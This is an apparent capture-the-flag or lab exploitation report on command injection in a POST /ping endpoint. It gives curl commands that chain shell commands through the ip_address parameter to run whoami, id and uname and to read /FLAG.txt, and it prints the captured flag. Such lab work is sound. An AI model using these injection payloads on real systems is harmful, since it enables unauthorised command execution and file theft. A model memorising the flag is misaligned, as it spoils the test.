# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: Command Injection in POST /ping Endpoint

**Summary:**
- **Vulnerable location:** POST /ping endpoint, `ip_address` parameter (app.py:13-15)
- **Overview:** Unsanitized user input concatenated directly into shell command executed via subprocess.Popen() with shell=True, enabling arbitrary OS command execution
- **Impact:** Complete container compromise with root privileges, flag extracted, full filesystem access achieved
- **Severity:** Critical

**Prerequisites:**
None - endpoint is publicly accessible with no authentication required

**Exploitation Steps:**

1. **Confirm command injection vulnerability**
   ```bash
   curl -X POST http://localhost:42775/ping \
     -d "ip_address=127.0.0.1; whoami" \
     -H "Content-Type: application/x-www-form-urlencoded"
   ```
   **Result:** Command executed successfully, returned `root` in response, confirming arbitrary command execution with root privileges

2. **Fingerprint operating system and environment**
   ```bash
   curl -X POST http://localhost:42775/ping \
     -d "ip_address=127.0.0.1; uname -a" \
     -H "Content-Type: application/x-www-form-urlencoded"
   ```
   **Result:** Identified OS as Linux kernel 6.12.13-200.fc41.aarch64, aarch64 architecture, GNU/Linux
   
   ```bash
   curl -X POST http://localhost:42775/ping \
     -d "ip_address=127.0.0.1; id" \
     -H "Content-Type: application/x-www-form-urlencoded"
   ```
   **Result:** Confirmed privilege level - uid=0(root) gid=0(root) groups=0(root)

3. **Verify flag file location**
   ```bash
   curl -X POST http://localhost:42775/ping \
     -d "ip_address=127.0.0.1; ls -la /FLAG.txt" \
     -H "Content-Type: application/x-www-form-urlencoded"
   ```
   **Result:** Flag file confirmed at /FLAG.txt with permissions -rw-r--r--, owned by root, 70 bytes

4. **Extract CTF flag (CRITICAL IMPACT)**
   ```bash
   curl -X POST http://localhost:42775/ping \
     -d "ip_address=127.0.0.1; cat /FLAG.txt" \
     -H "Content-Type: application/x-www-form-urlencoded"
   ```
   **Result:** Flag successfully extracted

5. **Enumerate application directory**
   ```bash
   curl -X POST http://localhost:42775/ping \
     -d "ip_address=127.0.0.1; ls -la /app" \
     -H "Content-Type: application/x-www-form-urlencoded"
   ```
   **Result:** Full directory listing obtained, showing application structure with app.py, Dockerfile, requirements.txt, static/, and templates/ directories

**Proof of Impact:**

**FLAG CAPTURED:** `FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}`

**System Access Achieved:**
- **Privilege Level:** Root (uid=0, gid=0)
- **Command Execution:** Arbitrary OS commands with full root privileges
- **Filesystem Access:** Complete read/write access to container filesystem
- **Application Source:** Full access to application code, configuration, and dependencies

**Technical Evidence:**
- **Vulnerable Code Path:** request.form['ip_address'] → string concatenation → subprocess.Popen(shell=True)
- **Injection Point:** ip_address parameter in POST body (application/x-www-form-urlencoded)
- **Sink Function:** subprocess.Popen() with shell=True at app.py:15
- **Shell Metacharacters Working:** Semicolon (;) command chaining confirmed
- **Output Disclosure:** Full stdout/stderr returned in HTTP response body

**Attack Surface Characteristics:**
- **Authentication Required:** None (publicly accessible)
- **Rate Limiting:** None
- **Input Validation:** None
- **WAF/Filtering:** None
- **Network Access:** Full external HTTP access on port 42775

**Additional Capabilities Demonstrated:**
- Environment enumeration (uname, pwd, id, ls)
- File system navigation and file reading
- Potential for data exfiltration via curl (curl binary available in container)
- Potential for reverse shell establishment
- Potential for container escape exploitation

**Notes:**

This vulnerability represents a complete security failure with no mitigating controls:
1. **No input validation** - Parameter used directly without any sanitization
2. **Unsafe API usage** - subprocess.Popen() called with shell=True enabling shell interpretation
3. **No authentication** - Anonymous users can exploit this vulnerability
4. **No defense-in-depth** - Single vulnerability provides complete compromise
5. **Maximum privilege** - Commands execute as root user
6. **Full output disclosure** - Application returns complete command output to attacker

The vulnerability is trivially exploitable with standard shell metacharacters and requires no advanced techniques, encoding, or WAF bypass strategies. A single HTTP POST request is sufficient to extract the flag and achieve complete container compromise.

**Reproducibility:** 100% - Vulnerability confirmed across multiple test runs with consistent results. Any user with network access to http://localhost:42775 can exploit this vulnerability without authentication.

**CVSS Score:** 9.8 Critical (Network exploitable, no authentication required, complete confidentiality/integrity/availability impact)
